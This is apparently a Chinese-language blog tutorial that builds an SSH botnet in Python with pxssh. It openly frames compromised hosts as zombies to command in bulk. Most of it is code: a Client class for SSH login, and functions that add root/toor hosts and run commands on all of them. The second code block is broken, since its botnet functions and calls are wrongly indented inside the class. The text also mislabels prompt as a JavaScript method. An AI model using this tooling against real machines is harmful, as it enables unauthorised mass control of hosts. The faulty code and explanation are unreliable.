天天看点

【Python脚本进阶】2.2、组建一个SSH僵尸网络(终)

目录

​​一、简介​​

​​1.1、概述:​​

​​二、实现​​

​​2.1、函数:​​

​​2.2、连接:​​

​​2.3、组建僵尸网络​​

一、简介

1.1、概述:

能通过SSH控制主机, 接下来就要同时控制多台主机

攻击者在达成恶意目的时, 通常会使用被黑掉的计算机群。我们称之为僵尸网络, 因为被黑掉的电脑会像僵尸一样执行指令。为构建僵尸网络, 我们必须引入一个新的概念一类。类的概念是面向编程对象和编程模型的基础。在这一编程模型中, 我们会把各个对象和它们所关联的方法一起实例化。在僵尸网络中, 每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力

二、实现

2.1、函数:

__init__ :是初始化initialization的缩写,在使用类创建对象之后被执行,用于给新创建的对象初始化属性用,如初始化属性的语句就是 self.name=name

prompt是 javascript语言中的一个方法,主要用处是显示提示对话框

2.2、连接:

实现每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力
​​import optparse
import pxssh


class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] Error Connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
​​      

2.3、组建僵尸网络

​​import optparse
import pxssh


class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] Error Connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


    
    def botnetCommand(command):
        for client in botNet:
            output= client.send_command(command)
            print('[*] Output from ' + client.host)
            print('[+] ' + output + '\n')

    def addClient(host, user, password):
        client = Client( host, user, password )
        botNet.append(client)

    botNet = []
    addClient('10.10.10.110', 'root', 'toor')
    addClient('10.10.10.120', 'root', 'toor')
    addClient('10.10.10.130', 'root', 'toor')
    botnetCommand('uname -v')
    botnetCommand('cat /etc/issue')
​​